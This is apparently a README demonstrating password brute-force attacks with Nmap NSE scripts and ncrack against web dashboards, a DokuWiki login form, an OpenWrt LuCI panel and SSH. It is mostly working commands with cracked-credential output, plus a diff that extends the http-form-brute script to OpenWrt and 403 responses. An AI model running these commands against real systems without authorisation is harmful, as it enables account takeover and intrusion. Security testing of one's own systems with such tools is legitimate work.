Nmap NSE Demo

README.md

SecLists

$ echo admin >> usernames.lst
$ wget -O passwords.lst https://github.com/danielmiessler/SecLists/raw/refs/heads/master/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt
$ wc -l passwords.lst
99840 passwords.lst

http-brute

$ nmap --script +http-brute --script-args "userdb=usernames.lst,passdb=passwords.lst,http.useragent=Mozilla/5.0,brute.firstonly=true" -p7500 frps.example.com -d1
PORT     STATE SERVICE    REASON
7500/tcp open  silhouette syn-ack ttl 46
| http-brute:
|   Accounts:
|     admin:123456 - Valid credentials
|_  Statistics: Performed 1135 guesses in 231 seconds, average tps: 65.6
Final times for host: srtt: 28750 rttvar: 22250  to: 117750

http-form-brute

$ nmap --script +http-form-brute --script-args "http.useragent=Mozilla/5.0,http-form-brute.method=POST,http-form-brute.hostname=doku.example.com,http-form-brute.path='/doku.php?id=start&do=login',http-form-brute.uservar=u,http-form-brute.passvar=p,userdb=usernames.lst,passdb=passwords.lst,http-form-brute.onfailure=error,brute.firstonly=true" -p80 doku.example.com -d1
Initiating NSE at 00:41
NSE: Starting http-form-brute against doku.example.com (1.2.3.4:80).
NSE: [http-form-brute 1.2.3.4:80] Form submission path: /doku.php?id=start&do=login
NSE: [http-form-brute 1.2.3.4:80] HTTP method: POST
NSE: [http-form-brute 1.2.3.4:80] Username field: u
NSE: [http-form-brute 1.2.3.4:80] Password field: p
NSE Timing: About 0.00% done
NSE Timing: About 100.00% done; ETC: 09:00 (0:00:00 remaining)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 45
| http-form-brute:
|   Accounts:
|     admin:123456 - Valid credentials
|_  Statistics: Performed 3417 guesses in 905 seconds, average tps: 3.8
Final times for host: srtt: 30875 rttvar: 23500  to: 124875

Tip

Use --script +script-name when websites are running on non-stardard ports (e.g., :3389, :5901)

# Patch known_apps (+openwrt)
$ diff /usr/share/nmap/scripts/http-form-brute.nse /path/to/http-form-brute.nse

# OpenWrt (with known_apps patch)
$ nmap --script /path/to/http-form-brute.nse --script-args "http.useragent=Mozilla/5.0,http-form-brute.path=/cgi-bin/luci/,userdb=usernames.lst,passdb=passwords.lst,brute.firstonly=true" -p 80 192.168.1.1 -d

---

$ ncrack -f -T5 -d9 --user root -P passwords.lst ssh://192.168.1.1:22
Discovered credentials for ssh on 192.168.1.1 22/tcp:
192.168.1.1 22/tcp ssh: 'root' '123456'

$ ncrack -f -T5 -d9 --user admin -P passwords.lst http://frps.example.com:7500
Discovered credentials for http on 1.2.3.4 7500/tcp:
1.2.3.4 7500/tcp http: 'admin' '123456'

Caution

ncrack don't support dropbear?

http-form-brute.nse.diff

 local known_apps = {
+  openwrt = {
+    match = {},
+    uservar = "luci_username",
+    passvar = "luci_password",
+    onsuccess = "sysauth_http=",
+  },

 local detect_form = function (host, port, path, hostname)
   local response = http.get(host, port, path, {
     bypass_cache = true,
     header = {Host = hostname}
   })
-  if not (response and response.body and response.status == 200) then
+  if not (response and response.body and (response.status == 200 or response.status == 403)) then
     return nil, string.format("Unable to retrieve a login form from path %q", path)
   end